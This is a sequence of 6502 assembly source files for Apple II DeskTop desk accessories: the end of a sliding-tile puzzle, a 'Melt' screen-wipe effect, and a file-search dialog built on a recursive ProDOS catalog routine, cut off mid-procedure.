bit scrambled_flag
IF_NC
jmp Scramble
END_IF
jsr FindClickPiece
bcc bail
jmp ProcessClick
END_IF
;; close port?
IF_A_EQ #MGTK::Area::close_box
MGTK_CALL MGTK::TrackGoAway, trackgoaway_params
lda trackgoaway_params::goaway
beq bail
destroy:
pla ; bust out of OnXXX proc
pla
MGTK_CALL MGTK::CloseWindow, closewindow_params
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
rts
END_IF
;; title bar?
cmp #MGTK::Area::dragbar
bne bail
copy8 #kDAWindowId, dragwindow_params::window_id
MGTK_CALL MGTK::DragWindow, dragwindow_params
bit dragwindow_params::moved
IF_NS
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
jmp DrawWindow
END_IF
ret: rts
.endproc ; OnClick
;; on key press - exit if Escape
.proc CheckKey
lda event_params::key
ldx event_params::modifiers
IF_NOT_ZERO
jsr ToUpperCase
cmp #kShortcutCloseWindow
beq OnClick::destroy
bne ret ; always
END_IF
cmp #CHAR_ESCAPE
beq OnClick::destroy
bit scrambled_flag
IF_NC
jmp Scramble
END_IF
ldx hole_x
ldy hole_y
IF_A_EQ #CHAR_DOWN
dey
bmi ret
bpl move ; always
END_IF
IF_A_EQ #CHAR_UP
iny
cpy #4
bcs ret
bcc move ; always
END_IF
IF_A_EQ #CHAR_RIGHT
dex
bmi ret
bpl move ; always
END_IF
IF_A_EQ #CHAR_LEFT
inx
cpx #4
bcs ret
bcc move ; always
END_IF
ret: rts
move: stx click_x
sty click_y
jmp ProcessClick
.endproc ; CheckKey
;;; ============================================================
;;; Map click to piece x/y
.proc FindClickPiece
copy8 #kDAWindowId, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
lda screentowindow_params::windowx+1
ora screentowindow_params::windowy+1
bne nope ; ensure high bytes are 0
lda screentowindow_params::windowy
ldx screentowindow_params::windowx
cmp #kRow1
bcc nope
IF_A_LT #kRow2+1
jsr FindClickX
bcc nope
lda #0
beq yep ; always
END_IF
IF_A_LT #kRow3+1
jsr FindClickX
bcc nope
lda #1
bne yep ; always
END_IF
IF_A_LT #kRow4+1
jsr FindClickX
bcc nope
lda #2
bne yep ; always
END_IF
cmp #kRow4+kRowHeight+1
bcs nope
jsr FindClickX
bcc nope
lda #3
yep: sta click_y
sec
rts
nope: clc
rts
.endproc ; FindClickPiece
.proc FindClickX
cpx #kCol1
bcc nope
IF_X_LT #kCol2
lda #0
beq yep ; always
END_IF
IF_X_LT #kCol3+1
lda #1
bne yep ; always
END_IF
IF_X_LT #kCol4+1
lda #2
bne yep ; always
END_IF
cpx #kCol4+kColWidth
bcs nope
lda #3
yep: sta click_x
sec
rts
nope: clc
rts
.endproc ; FindClickX
;;; ============================================================
;;; Process piece click
kHolePiece = 12
.proc ProcessClick
lda #0
ldy hole_y
IF_NOT_ZERO
DO
clc
adc #4
dey
WHILE_NOT_ZERO
END_IF
sta draw_rc
clc
adc hole_x
tay
lda click_x
cmp hole_x
beq ClickInCol
lda click_y
cmp hole_y
beq ClickInRow
miss: rts ; Click on hole, or not row/col with hole
.proc ClickInRow
lda click_x
cmp hole_x
beq miss
IF_LT
lda hole_x ; click before of hole
sec
sbc click_x
tax
DO
copy8 position_table-1,y, position_table,y
dey
dex
WHILE_NOT_ZERO
beq row ; always
END_IF
lda click_x ; click after hole
sec
sbc hole_x
tax
DO
copy8 position_table+1,y, position_table,y
iny
dex
WHILE_NOT_ZERO
beq row ; always
.endproc ; ClickInRow
.proc ClickInCol
lda click_y
cmp hole_y
beq miss
bcs after
lda hole_y ; click before hole
sec
sbc click_y
tax
DO
copy8 position_table-4,y, position_table,y
dey
dey
dey
dey
dex
WHILE_NOT_ZERO
beq col
after: lda click_y ; click after hole
sec
sbc hole_y
tax
DO
copy8 position_table+4,y, position_table,y
iny
iny
iny
iny
dex
WHILE_NOT_ZERO
.endproc ; ClickInCol
col: copy8 #kHolePiece, position_table,y
jsr DrawCol
jmp done
row: copy8 #kHolePiece, position_table,y
jsr DrawRow
done: jsr CheckVictory
bcc after_click
;; Yay! Play the sound 4 times
.proc OnVictory
ldx #4
DO
txa
pha
jsr PlaySound
jsr InvertWindow
pla
tax
dex
WHILE_NOT_ZERO
CLEAR_BIT7_FLAG scrambled_flag
.endproc ; OnVictory
after_click:
jmp FindHole
.endproc ; ProcessClick
;;; ============================================================
;;; Draw the DA window
.proc DrawWindow
MGTK_CALL MGTK::GetWinPort, getwinport_params
IF_ZERO ; not obscured
MGTK_CALL MGTK::SetPort, setport_params
MGTK_CALL MGTK::SetPattern, pattern_speckles
MGTK_CALL MGTK::PaintRect, paintrect_params
MGTK_CALL MGTK::SetPattern, pattern_black
MGTK_CALL MGTK::MoveTo, moveto_params
MGTK_CALL MGTK::Line, line_params
jsr DrawAll
END_IF
rts
.endproc ; DrawWindow
;;; ============================================================
;;; Draw pieces
.proc DrawAll
ldy #1
sty draw_inc
dey
copy8 #16, draw_end
bne DrawSelected ; always
.endproc ; DrawAll
.proc DrawRow ; row specified in draw_rc
copy8 #1, draw_inc
lda draw_rc
tay
clc
adc #4
sta draw_end
bne DrawSelected ; always
.endproc ; DrawRow
.proc DrawCol ; col specified in `draw_rc`
copy8 #4, draw_inc
ldy hole_x
copy8 #16, draw_end
FALL_THROUGH_TO DrawSelected
.endproc ; DrawCol
;; Draw pieces from A to `draw_end`, step `draw_inc`
.proc DrawSelected
tya
pha
MGTK_CALL MGTK::GetWinPort, getwinport_params
IF_NOT_ZERO
;; obscured
pla
rts
END_IF
MGTK_CALL MGTK::SetPort, setport_params
MGTK_CALL MGTK::HideCursor
pla
tay
DO
tya
pha
asl a
asl a
tax
copy16 space_positions,x, paintbits_params::left
copy16 space_positions+2,x, paintbits_params::top
lda position_table,y
asl a
tax
copy16 bitmap_table,x, paintbits_params::mapbits
MGTK_CALL MGTK::PaintBitsHC, paintbits_params
pla
clc
adc draw_inc
tay
WHILE_Y_LT draw_end
MGTK_CALL MGTK::ShowCursor
rts
.endproc ; DrawSelected
;;; ============================================================
;;; Play sound
.proc PlaySound
ldx #$80
loop1: lda #88
loop2: ldy #27
delay1: dey
bne delay1
bit SPKR
tay
delay2: dey
bne delay2
sbc #1
beq loop1
bit SPKR
dex
bne loop2
rts
.endproc ; PlaySound
;;; ============================================================
.proc InvertWindow
MGTK_CALL MGTK::GetWinPort, getwinport_params
bne ret ; obscured
MGTK_CALL MGTK::SetPort, setport_params
MGTK_CALL MGTK::SetPattern, pattern_black
MGTK_CALL MGTK::SetPenMode, notpenXOR
MGTK_CALL MGTK::PaintRect, paintrect_params
MGTK_CALL MGTK::SetPenMode, pencopy
ret: rts
.endproc ; InvertWindow
;;; ============================================================
;;; Puzzle complete?
;; Returns with carry set if puzzle complete
.proc CheckVictory ; Allows for swapped indistinct pieces, etc.
;; 0/12 can be swapped
lda position_table
IF_NOT_ZERO
cmp #12
bne nope
END_IF
;; Check 1/2/3/4
ldy #1
DO
tya
cmp position_table,y
bne nope
iny
WHILE_Y_LT #5
;; 5/6 are identical
lda position_table+5
IF_A_NE #5
cmp #6
bne nope
END_IF
lda position_table+6
IF_A_NE #5
cmp #6
bne nope
END_IF
;; Check 7/8
lda position_table+7
cmp #7
bne nope
lda position_table+8
cmp #8
bne nope
;; 9/10 are identical
lda position_table+9
IF_A_NE #9
cmp #10
bne nope
END_IF
lda position_table+10
IF_A_NE #9
cmp #10
bne nope
END_IF
;; Check 11
lda position_table+11
cmp #11
bne nope
;; 0/12 can be swapped
lda position_table+12
IF_NOT_ZERO
cmp #12
bne nope
END_IF
;; Check 13/14/15/16
ldy #13
DO
tya
cmp position_table,y
bne nope
iny
WHILE_Y_LT #16
rts
nope: clc
rts
.endproc ; CheckVictory
;;; ============================================================
;;; Find hole piece
.proc FindHole
ldy #15
DO
lda position_table,y
BREAK_IF_A_EQ #kHolePiece
dey
WHILE_POS ; always
lda #0
sta hole_x
sta hole_y
tya
DO
BREAK_IF_A_LT #4
sbc #4
inc hole_y
WHILE_NOT_ZERO
sta hole_x
rts
.endproc ; FindHole
;;; ============================================================
;;; Called during event loop if not scrambled - gets the puzzle good
;;; and randomized.
.proc PreScramble
jsr SwapTables ; save
redo:
ldy #3
DO
tya
pha
ldx position_table
ldy #0
DO
copy8 position_table+1,y, position_table,y
iny
WHILE_Y_LT #15
stx position_table+15
pla
tay
dey
WHILE_NOT_ZERO
swap8 position_table, position_table+1
jsr CheckVictory
bcs redo
jmp SwapTables ; restore
.endproc ; PreScramble
;;; ============================================================
;;; Called to apply the scrambled positions and paint
.proc Scramble
jsr SwapTables ; swap
SET_BIT7_FLAG scrambled_flag
jsr DrawAll
jsr FindHole
rts
.endproc ; Scramble
;;; ============================================================
.proc SwapTables
ldy #15
DO
swap8 position_table,y, swapped_table,y
dey
WHILE_POS
rts
.endproc ; SwapTables
;;; ============================================================
.include "../lib/uppercase.s"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
JSR_TO_AUX aux::CreateWindow
rts
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 3,274
|
src/desk.acc/melt.s
|
;;; ============================================================
;;; MELT - Desk Accessory
;;;
;;; Wipes the screen in an amusing way.
;;; ============================================================
.include "../config.inc"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
;;; Graphics Resources
event_params: .tag MGTK::Event
;;; ============================================================
;;; DA Init
.proc Init
MGTK_CALL MGTK::HideCursor
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
;;; ============================================================
;;; Main Input Loop
.proc InputLoop
dec delta
IF_ZERO
copy8 #7, delta
END_IF
dec deltac
IF_ZERO
copy8 #27, deltac
END_IF
kNumCols = 40
lda col
sec
sbc deltac
IF_NEG
clc
adc #kNumCols
END_IF
sta col
MGTK_CALL MGTK::GetEvent, event_params
lda event_params + MGTK::Event::kind
cmp #MGTK::EventKind::button_down ; was clicked?
beq exit
cmp #MGTK::EventKind::key_down ; any key?
beq exit
jsr Animate
jmp InputLoop
exit:
MGTK_CALL MGTK::RedrawDeskTop
MGTK_CALL MGTK::DrawMenuBar
JSR_TO_MAIN JUMP_TABLE_HILITE_MENU
MGTK_CALL MGTK::ShowCursor
rts ; exits input loop
.endproc ; InputLoop
;;; ============================================================
;;; Animate
col: .byte 20
delta: .byte 3
deltac: .byte 31
.proc Animate
kNumCols = 40
src_ptr := $06
dst_ptr := $08
ldy col
ldx #kScreenHeight - 1
stx row
DO
copylohi hires_table_lo,x, hires_table_hi,x, dst_ptr
txa
sec
sbc delta
tax
copylohi hires_table_lo,x, hires_table_hi,x, src_ptr
sta PAGE2OFF
copy8 (src_ptr),y, (dst_ptr),y
sta PAGE2ON
copy8 (src_ptr),y, (dst_ptr),y
dec row
ldx row
WHILE_X_GE delta
;; Black in at the top
DO
lda hires_table_lo,x
sta dst_ptr
lda hires_table_hi,x
ora #$20
sta dst_ptr+1
lda #0
sta PAGE2OFF
sta (dst_ptr),y
sta PAGE2ON
sta (dst_ptr),y
dex
WHILE_POS
rts
row: .byte 0
.endproc ; Animate
.include "../inc/hires_table.inc"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
JSR_TO_AUX aux::Init
rts
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 40,986
|
src/desk.acc/find.files.s
|
;;; ============================================================
;;; FIND.FILES - Desk Accessory
;;;
;;; Presents a dialog with a text field to enter a search
;;; string, then searches for files (in the current directory
;;; and child directories) for matching filenames. Wildcards
;;; are ? and *.
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "find.files.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../toolkits/letk.inc"
.include "../toolkits/btk.inc"
.include "../toolkits/lbtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
;;; Memory map
;;;
;;; Main Aux
;;; : : : :
;;; | | | |
;;; | DHR | | DHR |
;;; $2000 +-------------+ +-------------+
;;; | IO Buffer | | |
;;; $1C00 +-------------+ | |
;;; | Dir Block | | |
;;; $1A00 +-------------+ | |
;;; | | | |
;;; | | | |
;;; | File Names | | |
;;; + - - - - - - + | |
;;; | | | |
;;; | | | GUI code & |
;;; | search code | | resources |
;;; $800 +-------------+ +-------------+
;;; : : : :
;;;
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
.proc RunDA
sty path_length
jsr Init
lda show_index
rts
.endproc ; RunDA
;;; ============================================================
kDAWindowId = $80
kDAWidth = 465
kDAHeight = kResultsHeight + 40
kDALeft = (kScreenWidth - kDAWidth)/2
kDATop = (kScreenHeight - kMenuBarHeight - kDAHeight)/2 + kMenuBarHeight
kResultsWindowId = kDAWindowId+1
kResultsWidth = kDAWidth - 60
kResultsWidthSB = kResultsWidth + 20
kResultsHeight = kResultsRows * kListItemHeight - 1
kResultsLeft = kDALeft + (kDAWidth - kResultsWidthSB) / 2
kResultsTop = kDATop + 30
kResultsRows = 11 ; line height is 10
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::dialog_box
title: .addr 0
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 0
hthumbpos: .byte 0
vthumbmax: .byte 0
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kDAWidth
mincontheight: .word kDAHeight
maxcontwidth: .word kDAWidth
maxcontheight: .word kDAHeight
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::notpencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
cur_line: .byte 0
entry_buf:
.res ::kPathBufferSize
;;; ============================================================
.include "../lib/event_params.s"
.params getwinport_params
window_id: .byte kDAWindowId
port: .addr grafport_win
.endparams
grafport_win: .tag MGTK::GrafPort
;;; ============================================================
DEFINE_RECT_FRAME frame_rect, kDAWidth, kDAHeight
kControlsTop = 10
kFindLeft = 20
DEFINE_LABEL find, res_string_label_find, kFindLeft, 20
;; Left edges are adjusted dynamically based on label width
DEFINE_RECT input_rect, kFindLeft + kLabelHOffset, kControlsTop, kDAWidth-250, kControlsTop + kTextBoxHeight
DEFINE_BUTTON search_button, kDAWindowId, res_string_button_search, kGlyphReturn, kDAWidth-235, kControlsTop
DEFINE_BUTTON cancel_button, kDAWindowId, res_string_button_cancel, res_string_button_cancel_shortcut, kDAWidth-120, kControlsTop
penXOR: .byte MGTK::penXOR
pencopy: .byte MGTK::pencopy
pensize_normal: .byte 1, 1
pensize_frame: .byte kBorderDX, kBorderDY
cursor_ibeam_flag: .byte 0 ; bit7
kBufSize = ::kMaxFilenameLength+1 ; max length = 15, length
buf_search: .res kBufSize, 0 ; search term
pattern: .res 16 ; null-terminated/upcased version
;;; ============================================================
;;; Search field
DEFINE_LINE_EDIT line_edit_rec, kDAWindowId, buf_search, kFindLeft + kLabelHOffset, kControlsTop, kDAWidth-250-(kFindLeft+kLabelHOffset), kMaxFilenameLength
DEFINE_LINE_EDIT_PARAMS le_params, line_edit_rec
;;; ============================================================
;;; List Box
DEFINE_LIST_BOX_WINFO winfo_results, \
kResultsWindowId, \
kResultsLeft, \
kResultsTop, \
kResultsWidth, \
kResultsHeight, \
DEFAULT_FONT
DEFINE_LIST_BOX listbox_rec, winfo_results, \
kResultsRows, SELF_MODIFIED_BYTE, \
DrawListEntryProc, NoOp, NoOp
DEFINE_LIST_BOX_PARAMS lb_params, listbox_rec
selected_index := listbox_rec::selected_index
num_entries := listbox_rec::num_items
;;; ============================================================
.proc Init
;; Prep input string
copy8 #0, buf_search
param_call MeasureString, find_label_str
addax input_rect::x1
add16_8 input_rect::x1, #1, line_edit_rec::rect::x1
MGTK_CALL MGTK::OpenWindow, winfo
MGTK_CALL MGTK::OpenWindow, winfo_results
MGTK_CALL MGTK::HideCursor
jsr DrawWindow
LETK_CALL LETK::Init, le_params
LETK_CALL LETK::Activate, le_params
MGTK_CALL MGTK::ShowCursor
copy8 #0, num_entries
LBTK_CALL LBTK::Init, lb_params
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
.proc InputLoop
LETK_CALL LETK::Idle, le_params
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
jsr GetNextEvent
cmp #kEventKindMouseMoved
jeq HandleMouseMove
cmp #MGTK::EventKind::button_down
jeq HandleDown
cmp #MGTK::EventKind::key_down
beq HandleKey
bne InputLoop ; always
.endproc ; InputLoop
.proc Exit
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::pointer
MGTK_CALL MGTK::CloseWindow, winfo_results
MGTK_CALL MGTK::CloseWindow, winfo
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
rts
.endproc ; Exit
;;; ============================================================
.proc HandleKey
lda event_params::key
ldx event_params::modifiers
sta le_params::key
stx le_params::modifiers
sta lb_params::key
stx lb_params::modifiers
IF_A_EQ_ONE_OF #CHAR_UP, #CHAR_DOWN
LBTK_CALL LBTK::Key, lb_params
jmp InputLoop
END_IF
IF_X_NE #0
;; Modified
lda event_params::key
jsr ToUpperCase
cmp #kShortcutCloseWindow
jeq Exit
IF_A_EQ #'O'
lda selected_index
bmi InputLoop
sta show_index
jmp Exit
END_IF
LETK_CALL LETK::Key, le_params
jmp InputLoop
END_IF
;; Not modified
IF_A_EQ #CHAR_ESCAPE
BTK_CALL BTK::Flash, cancel_button
jmp Exit
END_IF
IF_A_EQ #CHAR_RETURN
BTK_CALL BTK::Flash, search_button
jmp DoSearch
END_IF
jsr IsControlChar
bcc allow
jsr IsSearchChar
bcs ignore
allow: LETK_CALL LETK::Key, le_params
ignore:
jmp InputLoop
.endproc ; HandleKey
;;; ============================================================
;;; Input: A=character
;;; Output: C=0 if control, C=1 if not
.proc IsControlChar
cmp #CHAR_DELETE
bcs yes
cmp #' '
rts ; C=0 (if less) or 1
yes: clc ; C=0
rts
.endproc ; IsControlChar
;;; ============================================================
;;; Input: A=character
;;; Output: C=0 if valid, C=1 otherwise
.proc IsSearchChar
;; Valid characters are . 0-9 A-Z a-z ? *
cmp #'*' ; Wildcard
beq insert
cmp #'?' ; Wildcard
beq insert
cmp #'.' ; Filename char (here and below)
beq insert
cmp #'0'
bcc ignore
cmp #'9'+1
bcc insert
cmp #'A'
bcc ignore
cmp #'Z'+1
bcc insert
.if kBuildSupportsLowercase
cmp #'a'
bcc ignore
cmp #'z'+1
bcs ignore
.else
bcs ignore ; always
.endif
insert: clc
rts
ignore: sec
rts
.endproc ; IsSearchChar
;;; ============================================================
;;; Called during iteration; this ensures the mouse cursor remains
;;; responsive.
;;; Output: A=CHAR_ESCAPE if Esc key was pressed, A=0 otherwise
.proc CheckEvents
MGTK_CALL MGTK::CheckEvents
MGTK_CALL MGTK::PeekEvent, event_params
MGTK_CALL MGTK::FlushEvents
lda event_params::kind
cmp #MGTK::EventKind::key_down
bne nope
lda event_params::key
cmp #CHAR_ESCAPE
bne nope
rts
nope: lda #0
rts
.endproc ; CheckEvents
;;; ============================================================
path_length:
.byte 0
.proc DoSearch
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::watch
copy8 #0, num_entries
copy8 #$ff, selected_index
LBTK_CALL LBTK::Init, lb_params
jsr PrepDrawIncrementalResults
lda path_length
IF_A_EQ #1
JSR_TO_MAIN ::main::InitVolumes
JSR_TO_MAIN ::main::NextVolume
bcs finish
END_IF
;; Do the search
search:
;; Convert `buf_search` to a null-terminated uppercase string
;; and copy to main
ldy buf_search
copy8 #0, pattern,y ; null-terminate
cpy #0
IF_NOT_ZERO
DO
lda buf_search,y ; copy characters
jsr ToUpperCase
sta pattern-1,y
dey
WHILE_NOT_ZERO
END_IF
copy16 #pattern, STARTLO
copy16 #pattern+kMaxFilenameLength, ENDLO
copy16 #::main::RecursiveCatalog::pattern, DESTINATIONLO
clc ; aux>main
jsr AUXMOVE
;; And invoke it!
ldy num_entries ; A,X are trashed by macro
JSR_TO_MAIN ::main::RecursiveCatalog::Start
sty num_entries
sty lb_params::new_size
LBTK_CALL LBTK::SetSize, lb_params ; update scrollbar
lda path_length
IF_A_EQ #1
lda num_entries
cmp #kMaxFilePaths
beq finish
JSR_TO_MAIN ::main::NextVolume
bcc search
END_IF
finish:
bit cursor_ibeam_flag
IF_NC
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::pointer
ELSE
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::ibeam
END_IF
jmp InputLoop
.endproc ; DoSearch
;;; ============================================================
.proc HandleDown
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::which_area
cmp #MGTK::Area::content
jne done
lda findwindow_params::window_id
IF_A_EQ #kResultsWindowId
COPY_STRUCT event_params::coords, lb_params::coords
LBTK_CALL LBTK::Click, lb_params
IF_NC
jsr DetectDoubleClick
IF_NC
copy8 selected_index, show_index
jmp Exit
END_IF
END_IF
jmp InputLoop
END_IF
cmp #kDAWindowId
bne done
;; Click in DA content area
copy8 #kDAWindowId, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
MGTK_CALL MGTK::InRect, search_button::rect
IF_NOT_ZERO
BTK_CALL BTK::Track, search_button
bmi done
jmp DoSearch
END_IF
MGTK_CALL MGTK::InRect, cancel_button::rect
IF_NOT_ZERO
BTK_CALL BTK::Track, cancel_button
bmi done
jmp Exit
END_IF
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
MGTK_CALL MGTK::InRect, input_rect
beq done
COPY_STRUCT screentowindow_params::window, le_params::coords
LETK_CALL LETK::Click, le_params
done: jmp InputLoop
.endproc ; HandleDown
;;; ============================================================
.proc HandleMouseMove
copy8 #kDAWindowId, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
MGTK_CALL MGTK::InRect, input_rect
bne inside
outside:
bit cursor_ibeam_flag
bpl done
CLEAR_BIT7_FLAG cursor_ibeam_flag
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::pointer
jmp done
inside:
bit cursor_ibeam_flag
bmi done
SET_BIT7_FLAG cursor_ibeam_flag
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::ibeam
done: jmp InputLoop
.endproc ; HandleMouseMove
;;; ============================================================
.proc SetPortForDialog
MGTK_CALL MGTK::GetWinPort, getwinport_params
;; ASSERT: Not obscured.
MGTK_CALL MGTK::SetPort, grafport_win
rts
.endproc ; SetPortForDialog
;;; ============================================================
.proc DrawWindow
jsr SetPortForDialog
MGTK_CALL MGTK::HideCursor
MGTK_CALL MGTK::SetPenSize, pensize_frame
MGTK_CALL MGTK::FrameRect, frame_rect
MGTK_CALL MGTK::SetPenSize, pensize_normal
MGTK_CALL MGTK::FrameRect, input_rect
MGTK_CALL MGTK::MoveTo, find_label_pos
param_call DrawString, find_label_str
BTK_CALL BTK::Draw, search_button
BTK_CALL BTK::Draw, cancel_button
MGTK_CALL MGTK::ShowCursor
done: rts
.endproc ; DrawWindow
;;; ============================================================
;;; Populate `entry_buf` with entry in A
.proc GetEntry
jsr GetEntryAddr
stax STARTLO
add16 STARTLO, #kPathBufferSize-1, ENDLO
copy16 #entry_buf, DESTINATIONLO
sec ; main>aux
jmp AUXMOVE
.endproc ; GetEntry
;;; ============================================================
;;; List Box
;;; ============================================================
;;; Set to the selected index to show on exit.
show_index: .byte $FF
NoOp: rts
;;; ============================================================
;;; Called with A = index
.proc DrawListEntryProc
jsr GetEntry
param_jump DrawString, entry_buf
.endproc ; DrawListEntryProc
;;; ============================================================
DEFINE_POINT cur_pos, 0, 0
.proc PrepDrawIncrementalResults
MGTK_CALL MGTK::SetPort, winfo_results::port
copy8 #0, cur_line
copy16 #kListItemTextOffsetX, cur_pos+MGTK::Point::xcoord
copy16 #kListItemTextOffsetY, cur_pos+MGTK::Point::ycoord
rts
.endproc ; PrepDrawIncrementalResults
.proc DrawNextResult
MGTK_CALL MGTK::MoveTo, cur_pos
lda cur_line
jsr DrawListEntryProc
add16_8 cur_pos+MGTK::Point::ycoord, #kListItemHeight
inc cur_line
rts
.endproc ; DrawNextResult
;;; ============================================================
;;; Keep in sync with the copy of this in main!
.proc GetEntryAddr
sta num
sta offset
lda #0
sta offset+1
;; Compute num * 65
ldx #6 ; offset = num * 64
DO
asl16 offset
dex
WHILE_NOT_ZERO
add16_8 offset, num ; offset += num, so * 65
add16 offset, #::main::entries_buffer, offset
ldax offset
rts
num: .byte 0
offset: .addr 0
.endproc ; GetEntryAddr
;;; ============================================================
.include "../lib/uppercase.s"
.include "../lib/drawstring.s"
.include "../lib/measurestring.s"
.include "../lib/doubleclick.s"
.include "../lib/get_next_event.s"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
.scope main
;;; ============================================================
MLIEntry := MLI
block_buffer := $1A00
entry:
.scope
ptr := $06
;; Get top DeskTop window (if any) and find its path
JUMP_TABLE_MGTK_CALL MGTK::FrontWindow, ptr
lda ptr ; any window open?
beq no_windows
cmp #kMaxDeskTopWindows+1
bcs no_windows
;; --------------------------------------------------
;; Get path for window
jsr JUMP_TABLE_GET_WIN_PATH
stax ptr
;; Copy path to our path buffer
ldy #0
lda (ptr),y
tay
DO
copy8 (ptr),y, searchPath,y
dey
WHILE_POS
;; Append '/' needed by algorithm
ldy searchPath
iny
copy8 #'/', searchPath,y
sty searchPath
jmp continue
;; --------------------------------------------------
;; Search all volumes
no_windows:
;; Signal this mode with a path of just "/"
copy8 #1, searchPath
copy8 #'/', searchPath+1
;; --------------------------------------------------
continue:
;; Run the DA
ldy searchPath ; A,X are trashed by macro
JSR_TO_AUX aux::RunDA
;; Show an entry?
IF_POS
;; Copy entry path to `INVOKER_PREFIX`
jsr GetEntryAddr
stax $06
ldy #0
lda ($06),y
tay
DO
copy8 ($06),y, INVOKER_PREFIX,y
dey
WHILE_POS
;; Inject JT call to stack
pla
tax
pla
tay
PUSH_RETURN_ADDRESS JUMP_TABLE_SHOW_FILE
tya
pha
txa
pha
END_IF
rts
.endscope
;;; ============================================================
;;; Keep in sync with the copy of this in main!
.proc GetEntryAddr
sta num
sta offset
lda #0
sta offset+1
;; Compute num * 65
ldx #6 ; offset = num * 64
DO
asl16 offset
dex
WHILE_NOT_ZERO
add16_8 offset, num ; offset += num, so * 65
add16 offset, #entries_buffer, offset
ldax offset
rts
num: .byte 0
offset: .addr 0
.endproc ; GetEntryAddr
;;; ============================================================
;;;
;;;******************************************************
;;;
;;; ProDOS command parameter blocks
;;;
DEFINE_OPEN_PARAMS OpenParms, 0, DA_IO_BUFFER
DEFINE_READWRITE_PARAMS ReadParms, block_buffer, 512
DEFINE_CLOSE_PARAMS CloseParms
DEFINE_SET_MARK_PARAMS SetMParms, 0
searchPath: .res ::kPathBufferSize
nameBuffer: .res ::kPathBufferSize ; space for directory name
;;;******************************************************
.scope RecursiveCatalog
;;;******************************************************
;;; ProDOS #17
;;; Recursive ProDOS Catalog Routine
;;;
;;; Revised by Dave Lyons, Keith Rollin, & Matt Deatherage (November 1989)
;;; Written by Greg Seitz (December 1983)
;;;
;;; From https://web.archive.org/web/2007/http://web.pdx.edu/~heiss/technotes/pdos/tn.pdos.17.html
;;;
;;; * Converted to ca65 syntax
;;; * Using A2D headers/macros
;;; * Use procs
;;; * Prevent excessive recursion
;;;******************************************************
;;;******************************************************
;;;
;;; Recursive ProDOS Catalog Routine
;;;
;;; by: Greg Seitz 12/83
;;; Pete McDonald 1/86
;;; Keith Rollin 7/88
;;; Dave Lyons 11/89
;;;
;;; This program shows the latest "Apple Approved"
;;; method for reading a directory under ProDOS 8.
;;; READ_BLOCK is not used, since it is incompatible
;;; with AppleShare file servers.
;;;
;;; November 1989: The file_count field is no longer
;;; used (all references to ThisEntry were removed).
;;; This is because the file count can change on the fly
;;; on AppleShare volumes. (Note that the old code was
;;; accidentally decrementing the file count when it
;;; found an entry for a deleted file, so some files
;;; could be left off the end of the list.)
;;;
;;; Also, ThisBlock now gets incremented when a chunk
;;; of data is read from a directory. Previously, this
;;; routine could get stuck in an endless loop when
;;; a subdirectory was found outside the first block of
;;; its parent directory.
;;;
;;; Limitations: This routine cannot reach any
;;; subdirectory whose pathname is longer than 64
;;; characters, and it will not operate correctly if
;;; any subdirectory is more than 255 blocks long
;;; (because ThisBlock is only one byte).
;;;
;;;******************************************************
;;;
;;; Equates
;;;
;;; Zero page locations
;;;
dirName := $06 ; pointer to directory name
entPtr := $08 ; ptr to current entry
;;;******************************************************
saved_stack:
.byte 0
num_entries:
.byte 0
.proc Start
sty num_entries ; copy in main
;; Run with normal ZP and ROM
sta ALTZPOFF
bit ROMIN2
bit KBDSTRB ; clear strobe
ldy searchPath ; prime the search path
DO
copy8 searchPath,y, nameBuffer,y
dey
WHILE_POS
lda #0 ; reset recursion/results state
sta Depth
jsr Relay ; for stack restore
ldy num_entries
